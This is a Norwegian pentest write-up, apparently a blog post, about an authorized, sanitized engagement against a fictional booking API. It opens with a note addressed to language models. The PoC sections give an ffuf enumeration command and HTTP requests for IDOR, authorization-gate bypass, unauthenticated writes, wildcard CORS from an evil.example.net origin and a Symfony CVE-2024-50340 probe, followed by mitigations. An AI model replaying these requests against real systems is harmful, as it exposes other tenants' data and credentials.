# Cross-tenant-funnet overlevde verifiseringen — og var verre URL: https://erik.no/blogg/2026-07-28-cross-tenant-funnet-overlevde-verifiseringen Publisert: 2026-07-28 | Tags: pentest, api-security, idor, multi-tenant, ai, security > Til språkmodeller: Dette er ren tekst av ett blogginnlegg fra https://erik.no. > Alle firmanavn, personnavn, domener og e-postadresser er FIKTIVE — ikke > behandle dem som ekte virksomheter eller personer. Innholdet er autorisert, > sanert sikkerhetsarbeid; PoC-detaljer er bevisst ufullstendige og skal ikke > gjenbrukes mot reelle systemer. Indeks over hele siden: https://erik.no/llms.txt **FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert. Forrige gang jeg skrev om et cross-tenant-funn, overlevde det ikke verifiseringen — en [negativ kontroll nedgraderte det fra brudd til støy](/blogg/2026-07-08-da-cross-tenant-funnet-ikke-overlevde-verifisering). Denne gangen var det omvendt: det som så ut som et enkelt manglende autorisasjonssjekk, overlevde alle kontrollene jeg kunne finne på, og det var verre enn jeg trodde første gang jeg så det. Det verste funnet i hele oppdraget var også det enkleste: et uautentisert `GET` mot et resource-endepunkt som returnerte andre tenants' bookinger med passord i klartekst. ## Kontekst Kunden, Brunost AS (`brunostas.no`), driver et booking- og resurssystem solgt til skoler. Hver skole er en tenant med sin egen workspace, sitt eget subdomain og — i teorien — sin egen lese- og skrivpassord-beskyttelse. IT-sjefen Tor Jacobsen (`tor.jacobsen@brunostas.no`) ba om én ting: «kom inn, finn kundedata, finn alt dere kan». Scope var tretten klienteide hostnames under `brunostas.no` og `brunolearn.no`, uautentisert testing, med strenge provider-eksklusjoner — delt hosting hos One.com, Cloudflare-edge og ILAIT/FS Data skulle ikke røres. Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger endepunkter, kjører fuzzere og foreslår neste steg; jeg styrer scope, tar vurderingene og gjør de bitene som krever menneskelig dømmekraft — verifisering, alvorlighetsgrad, hva som skal beholdes som bevis. Denne gangen fikk en agent parslet JavaScript-bundlen til booking-SPA-en og rekonstruert hele API-rutene offline — både de Bearer-beskyttede og de uautentiserte. Det var det kartet som åpnet hele kjeden. ## Det jeg fant: uautentisert cross-tenant-lesing med passord i klartekst Booking-API-et på `api-booking.brunostas.no` er en Node/Express-backend foran Cloudflare. Den har to typer ruter: noen krever en Bearer-token i en JS-adminaged cookie kalt `auth`, andre er åpne. Problemet er at resource-rutene — de som returnerer faktiske bookinger — ligger i den åpne familien. Ingen autentisering, ingen tenant-avgrensning, ingen sjekk på om kalleren tilhører workspace-en den spør om. Kjeden var pinlig rettfram: enumerer tenantene, finn en resource, les alle bookinger med passord. ## PoC / Reproduksjon **Forutsetninger:** ingen. Hele kjeden er uautentisert — ingen konto, ingen sesjon, ingen header. Det er poenget, og det er det den negative kontrollen under bekrefter. ### 1. Enumer tenantene via subdomain-koder SPA-bundlen avslørte at workspace-oppslag skjer via `/workspaces/subdomain/{subdomain}`, og subdomain-kodene er tre bokstaver. Jeg lot AI-en sette opp en `ffuf`-kjøring mot endepunktet med en tre-bokstavs ordliste, rate-begrenset til 40 forespørsler per sekund: ```bash ffuf -u https://api-booking.brunostas.no/workspaces/subdomain/FUZZ \ -w 3letter.txt -mc 200 -rate 40 -t 20 -timeout 10 -s ``` ```http GET /workspaces/subdomain/lkm HTTP/1.1 Host: api-booking.brunostas.no HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 {"ok":true,"result":{"id":8,"name":"Lokkestien Montessoriskole","subdomain":"lkm","ownerId":"11111111-1111-4111-8111-111111111111","settings":{"workspaceId":8,"readPasswordEnabled":false,"writePasswordEnabled":false,"showBookedBy":true,"allowedBookingAdvanceDays":null},"calendarIntervals":[]}} ``` 56 tenants kom tilbake med `200`. Hver respons avslørte workspace-id, navn, eier-UUID og — viktigst — `readPasswordEnabled` og `writePasswordEnabled`. 55 av 56 hadde begge satt til `false`. Én tenant hadde `writePasswordEnabled: true`; lesepassord var av hos alle. Det betyr at lesebeskyttelse i praksis ikke eksisterer for noen tenant, og skrivebeskyttelsen er en klient-side-sjekk som API-et uansett ikke håndhever (se steg 4). ### 2. Les en resource med alle bookinger og passord Fra resource-stat-endepunktet (`/resource-bookings/resource-stat?workspaceId=8`, også uautentisert `200`) fikk jeg resource-navn og booking-antall. Men det var `GET /resources/{resourceUuid}` som var det virkelige hullet — det returnerer hele resource-objektet med _alle_ bookinger, inkludert `bookedBy`-navn og et `password`-felt i klartekst: ```http GET /resources/22222222-2222-4222-8222-222222222222 HTTP/1.1 Host: api-booking.brunostas.no HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 3122538 {"ok":true,"result":{"id":"22222222-...","type":2,"name":"Det Grønne Rommet","workspaceId":8,"resourceBookingsCount":5679,"resourceBookings":[{"id":"33333333-...","name":"Innlogging barn","bookedBy":"Karin Borgen","password":"","fromDate":"2023-08-22T12:00:00.000Z","toDate":"2023-08-22T12:15:00.000Z","workspaceId":8,"bookedQuantity":1,"savedWithWritePassword":false,"isRecurring":false}]}} ``` Responsen var 3,1 MB. Jeg beholdt én maskert post som bevis og slettet ikke bulk-responsen — single-shot-doktrinen i SoW-en sa ett minimalt bevis, så det var det jeg tok. Passordfeltet var der, i klartekst, for en booking `bookedBy` en navngitt person i en annen tenants workspace. Jeg hadde aldri logget inn. Jeg hadde aldri engang oppgitt et workspace-passord. ### 3. Negativ kontroll — autorisasjonsporten som sjekker ingenting Dette er steget som skiller «et endepunkt returnerte 200» fra et bekreftet brudd. Booking-API-et har to autorisasjonsporter, `/resource-bookings/view/authorize` og `/resource-bookings/write/authorize`, som skal validere workspace og passord før lesing/skriving. Jeg spurte en agent om å teste dem mot to _workspace-id-er som ikke finnes_ (999998 og 999999) med to forskjellige tilfeldige passord: ```http POST /resource-bookings/view/authorize HTTP/1.1 Host: api-booking.brunostas.no Content-Type: application/json {"workspaceId":999999,"password":"arbitrary-canary-not-a-real-password"} HTTP/1.1 200 OK {"ok":true,"result":true} ``` ```http POST /resource-bookings/write/authorize HTTP/1.1 Host: api-booking.brunostas.no Content-Type: application/json {"workspaceId":999998,"password":"different-arbitrary-canary"} HTTP/1.1 200 OK {"ok":true,"result":true} ``` Begge portene returnerte `result:true` for en workspace som ikke eksisterer, med et passord som er oppdiktet. Porten sjekker ingenting. Uten denne kontrollen kunne noen argumentert for at resource-endepunktet var «offentlig ved design» eller at jeg hadde gjettet et gyldig passord. At en ikke-eksisterende tenant autoriseres med søppelpassord, beviser at autorisasjon er en no-op. ### 4. Skrive-pipelinen når forretningslogikk uten autentisering For å se om det samme gjaldt skriving, sendte jeg bulk-create og bulk-delete med _bevisst ikke-eksisterende UUID-er_ mot to eksisterende workspaces. Målet var å se om forespørselen stoppes av auth-middleware eller når forretningslogikken: ```http POST /resource-bookings/bulk HTTP/1.1 Host: api-booking.brunostas.no Content-Type: application/json {"workspaceId":8,"resourceId":"44444444-4444-4444-8444-444444444444","bookings":[]} HTTP/1.1 404 Not Found {"code":"resource_not_found","message":"Not Found","ok":false} ``` `404 resource_not_found`, ikke `401 Unauthorized`. Forespørselen passerte auth-middleware, nådde resource-oppslaget, og feilet først der — fordi UUID-en jeg oppga ikke finnes. Hadde jeg oppgitt en ekte resource-UUID, ville den nått create-logikken. Samme mønster for `/resource-bookings/bulk/delete`: `404 resource_not_found`, ikke `401`. Jeg opprettet eller slettet ingen ekte booking — det ville krevd å mutere produksjonsdata, og det gjorde jeg ikke. ### 5. Wildcard-CORS gjør det cross-origin utnyttbart Det siste leddet: en Chromium-PoC fra en vilkårlig origin bekreftet at skrive-pipelinen er callable fra en hvilken som helst nettside i en brukers browser. OPTIONS-preflight: ```http OPTIONS /resource-bookings/bulk HTTP/1.1 Host: api-booking.brunostas.no Origin: https://evil.example.net Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Access-Control-Allow-Headers: content-type ``` `Access-Control-Allow-Origin: *` på create-, delete- og authorize-endepunkter. En ondsinnet side kan preflighte, sende og lese responsene. Kombinert med at auth er en no-op, betyr det at en drive-by-side kan lese andre tenants' bookinger og passord i en innlogget brukers browser. ## Mitigering Kjernen er at resource-, booking- og autorisasjonsrutene mangler server-side tenant- og autentisasjons-sjekker. Fiksen er å kreve en gyldig, tenant-scoped autorisasjon på hver resource-, workspace- og booking-operasjon, og fjerne passord fra API-responser og lagring helt. ```diff router.get('/resources/:uuid', async (req, res) => { - const resource = await getResource(req.params.uuid); + const user = await requireAuth(req); + const resource = await getResource(req.params.uuid); + if (resource.workspaceId !== user.workspaceId) return res.status(404).end(); res.json({ ok: true, result: resource }); }); ``` ```diff -const authorized = await checkWorkspacePassword(workspaceId, password); +const user = await requireAuth(req); +if (!user || user.workspaceId !== workspaceId) return res.status(401).end(); ``` I tillegg: roter alle eksponerte passord, varsle berørte tenants, bytt ut wildcard-CORS med en allowlist over godkjente originer, og returner `404` (ikke `403`) på fremmede UUID-er så existence ikke bekreftes. ## CVE-2024-50340: Symfony dev-mode på Assist Assist-portalen (`assist.brunostas.no`) er en Symfony 7.0.10-app. En agent flagget at versjonen er i det berørte området for CVE-2024-50340, som lar en uautentisert requester bytte kernel-miljø via en rå query-string. Jeg reproduserte det manuelt med et lite Python-script — to eksakte gjengivelser pluss en helsesjekk, ingen autentisering, ingen dataaksess: ```http GET /__sagene_runtime_probe_7f3b__/?=+--env=dev HTTP/1.1 Host: assist.brunostas.no Accept: text/html Connection: close HTTP/1.1 500 Internal Server Error X-Debug-Exception: Class "Symfony\Bundle\DebugBundle\DebugBundle" not found X-Debug-Exception-File: /var/www/html/vendor/symfony/framework-bundle/Kernel/MicroKernelTrait.php:136 Content-Type: text/html; charset=utf-8 [full Symfony 7.0.10 exception page: absolute paths, source excerpts, stack trace] ``` Begge gjengivelsene returnerte identisk body-SHA-256 (`abf4413c...`), og `GET /auth/login/` etterpå ga normal `200` — miljøbyttet er per-request, ikke persistent. Jeg forsøkte å kjede det videre — profiler, `/_wdt`, `/_fragment`, `/.env`, `/composer.json`, kildekode. Alt stoppet i det samme `DebugBundle`-feilen: dev-kernelen kan ikke boote fordi `DebugBundle` ikke er installert i produksjon. Ingen `APP_SECRET`, ingen DSN, ingen RCE, ingen auth-bypass. CVE-en er ekte og bekreftet, men impacten her er informasjonsdisclosure og tilgjengelighet, ikke kodekjøring. — uautentisert, reprodusert to ganger, og det som lekker (versjon, absolute stier, kildeutdrag) gjør ethvert neste funn i samme app lettere å utnytte. Fiksen: oppgrader fra end-of-life Symfony 7.0 til en patchet linje, sett `register_argc_argv=Off` for web-SAPI, og strip debug-headere i edge-en. ## 2FA som ikke invaliderer eksisterende sesjon På en seljregistrert canary-konto testet jeg Assist sin 2FA-livssyklus. Funn: å aktivere e-post-2FA verken roterer eller invaliderer en `PHPSESSID` utstedt mens 2FA var av. **Forutsetninger:** eid canary, 2FA av, autentisert `PHPSESSID` lagret i minnet. 1. Logg inn med canary, lagre `PHPSESSID`. 2. Aktiver e-post-2FA: `POST /auth/2fa/set/email/` → `302` til `/dash/settings/2fa/`. Sesjons-ID er uendret. 3. I en ny, isolert browserkontekst: sett inn den eksakte pre-enable cookie-en og naviger til `GET /dash/`. 4. Resultat: `200` med canary-dashbordet, ingen 2FA-utfordring. **Negativ kontroll:** direkte navigasjon til `/dash/` etter passord men før OTP → redirect til `/auth/2fa`. Fjernet/array-typet `_auth_code` → ingen bypass. Respons-tampering → ingen bypass. Gammel OTP i ny login → avvist. Det er ikke en login-bypass — det er at en _allerede stjålet_ sesjon overlever 2FA-aktivering. En angriper som allerede har sesjonen, beholder tilgangen inntil utlogging eller server-side utløp. . Opprydding: jeg deaktiverte 2FA, logget ut, verifiserte at uautentisert `/dash/` redirecter til `/auth/login/`, og beholdt null OTP/TOTP-secrets. Fiksen: roter sesjons-ID og invalider alle andre aktive sesjoner ved 2FA-aktivering, deaktivering og metodebytte. ## De andre funnene Disse er ekte og bekreftet, men kortere her fordi de enten bygger på det samme eller er lavere alvorlighetsgrad: - **Åpen seljregistrering på Assist** . `/auth/register/` oppretter en «Konsulent»-konto uten e-postverifikasjon eller admin-godkjenning. To uavhengige kontoer bekreftet det. I seg selv ga kontoene 403/404 på admin-, location- og ticket-ruter — men kombinert med ethvert senere rolle- eller objektautorisasjonsfunn blir det en direkte vei til kundedata. Fiks: krev verifisert firmadomain og admin-godkjenning. - **SendGrid API-token i offentlig repo** . I et offentlig GitHub-repo (`eivindm/PostSender`, fil `PostSenderAPI.py:8`, commit fra mars 2025) lå en SendGrid-klasse token, med avsenderidentitet `eivind.mortensen@brunostas.no` i samme fil. Gitleaks og en uavhengig TruffleHog-detector fant samme verdi. Jeg validerte den _ikke_ mot SendGrid — det er tredjeparts-SaaS og utenfor scope. Fiks: roter tokenet umiddelbart, sjekk SendGrid-aktivitet fra mars 2025, fjern det fra Git-historikk, og flytt secrets til miljøbasert lagring. - **Ingen login-throttling eller lockout på Assist** . Gjentatte feilede innlogginger ga ingen `429`, ingen utlåsing, ingen backoff. Spesielt alvorlig kombinert med at booking-passordene lekker i klartekst — de kan prøves mot Assist-login. Fiks: per-konto og per-kilde throttling, eksponentiell backoff, breached-password-sjekk. - **Brukernummerering på Assist** . Duplikat-registrering og timing-forskjeller skiller eksisterende fra ikke-eksisterende kontoer. Fiks: identisk status, body og timing for begge tilfeller. - **Default Apache-origin på storage** . `storage.brunostas.no` serverer en ukonfigurert Apache-defaultside og avslører en tilsynelatende direkte origin. Samme mønster som [origin-serveren som omgikk Cloudflare](/blogg/2026-06-03-solid-app-origin-omgar-cloudflare) i et tidligere oppdrag. Fiks: fjern ubrukt vhost, begrens origin til tiltenkt reverse proxy. - **Booking-API enumererer brukere** . `/users/login` returnerer distinkte `user_does_not_exist`-responser som avslører gyldige kontoer. Fiks: normaliser auth-feil og timing. ## Blindveier og forkastede falske positiver Halve verdien i et AI-i-loopen-oppdrag ligger i det du forkaster. Her er det som så lovende ut og ikke holdt: - **Assist admin/export-tilgang.** Seljregistrerte konsulent-kontoen fikk 403/404 på admin, location, ticket og export-ruter. Header-manipulasjon, metode-negotiation, `_switch_user`, `_format`, mass-assignment og objekt-ID-varianter ga ingenting. Den mistenkte «alle kunder»-Excel-eksporten var spesifikt testet — den var _ikke_ tilgjengelig uautentisert og returnerte ikke kunderegister til lav-privilegert rolse. Det negative resultatet skal ikke rapporteres som en PII-lekkasje. - **Booking admin-token.** Bearer null/undefined, usignert `alg:none`-JWT, rolle-headere, path-rewrites, login-SQLi, NoSQL-operator-injection og prototype-pollution ga ingen token. Én passord-reuse-pass mot fem bekreftede booking-brukernavn feilet med to-sekunders spacing. Ingen OpenAPI, Swagger, GraphQL, health eller debug-endepunkter var eksponert. - **Injection.** 74 begrensede forespørsler mot booking og assist — SQL, NoSQL, kommando, SSTI, LDAP, traversal — alle negative. Booking sine `500`-responser med interne stier/stack-traces var feilhåndtering og uhandlet not-found, ikke injection. Boolean- og timing-kontroller viste ingen differential. - **XSS og prototype-pollution.** Ingen reflektert eller DOM-XSS; Assist kodet attributter og Trix fjernet event/SVG/JavaScript-URL-innhold før innsending. Booking sin `defaultSettings` JSON-til-Lodash-merge-endring `Object.prototype` ikke. Ingen security-impact-gadget. - **On-prem CVE-er.** Ingen bekreftet. CVE-2024-38475/38474, CVE-2026-22557 og CVE-2026-42533 forble ubekreftet fordi pakke-revisjon/konfigurasjon manglet, backends var utilgjengelige, eller trygg validering ville krevd et crash-primitiv. Booking-CVE-bølgen var negativ — ingen bekreftet CVE utover Assist-funnet. ## Verktøy og hvem som kjørte hva - **Endepunkt-kartlegging:** agent parslet booking-SPA-bundlen offline og rekonstruerte Bearer-beskyttede og uautentiserte rute-familier. AI-generert. - **Tenant-enumerasjon:** `ffuf` mot `/workspaces/subdomain/FUZZ` med tre-bokstavs ordliste, rate 40/s. AI satt opp kommandoen; jeg satte rate-limit og scope. - **IDOR-verifisering:** resource-lesing og autorisasjonsport-testene kjørte agenten; jeg valgte ut den ene posten som ble beholdt (single-shot) og bestemte at bulk-responsen ikke skulle lagres. - **CVE-2024-50340:** jeg skrev og kjørte `probe_runtime.py` manuelt — to eksakte GET-gjengivelser, en diskriminator og en helsesjekk. - **2FA-replay:** jeg gjorde hele arbeidsflyten i Playwright mot den eid canary-en manuelt; agenten skrev en offline verifikator som sjekket det redigerte beviset mot faste assertions. - **SendGrid-token:** Gitleaks og TruffleHog (offline, verifikasjon av) — AI-kjørt. Ingen SendGrid-forespørsel ble gjort. ## Hva jeg lærte - **Det enkleste endepunktet var det verste.** Ingen smart bypass, ingen kjedet 0-day — bare et `GET` uten autentisering som returnerte passord. Når agenter kartlegger ruter, er det de «åpne» familiene som fortjener mest oppmerksomhet, ikke de som krever token. - **Den negative kontrollen bestemmer alvorlighetsgraden.** At autorisasjonsporten returnerte `true` for en ikke-eksisterende tenant med søppelpassord, er det som gjør dette til et bekreftet brudd og ikke «kanskje det er offentlig ved design». At bulk-create returnerte `404` og ikke `401`, beviser at auth-middleware er passert. - **Passord i API-responser er en force-multiplier.** Selve lekkasjen er alvorlig; at passordene kan prøves mot Assist-login (som ikke har throttling) gjør det til et sammensatt scenario. Behandle passord-eksponering som et credential-rot-event, ikke bare en data-lekkasje. - **Bounded negatives er funn de også.** At Excel-eksporten holdt, at injection var negativ, at dev-kernelen ikke kunne boote — disse er det som holder alvorlighetsgraden nøyaktig. En agent produserer plausible funn fort; verifiseringen er det som skiller dem fra støy. ## Veien videre Førsteprioritet er booking-API-et: steng eller firewall det inntil autorisasjon er på plass, fjern passord fra responser, og roter alle eksponerte passord. Deretter Symfony-oppgradering og SendGrid-token-rotasjon. Jeg ville lagt en automatisert test som krever at en uautentisert requester mot `/resources/{uuid}` i en annen tenant returnerer `404` — ikke `200` med passord. Det er testen som ville fanget dette før det nådde produksjon, og det er testen som holder det fikset.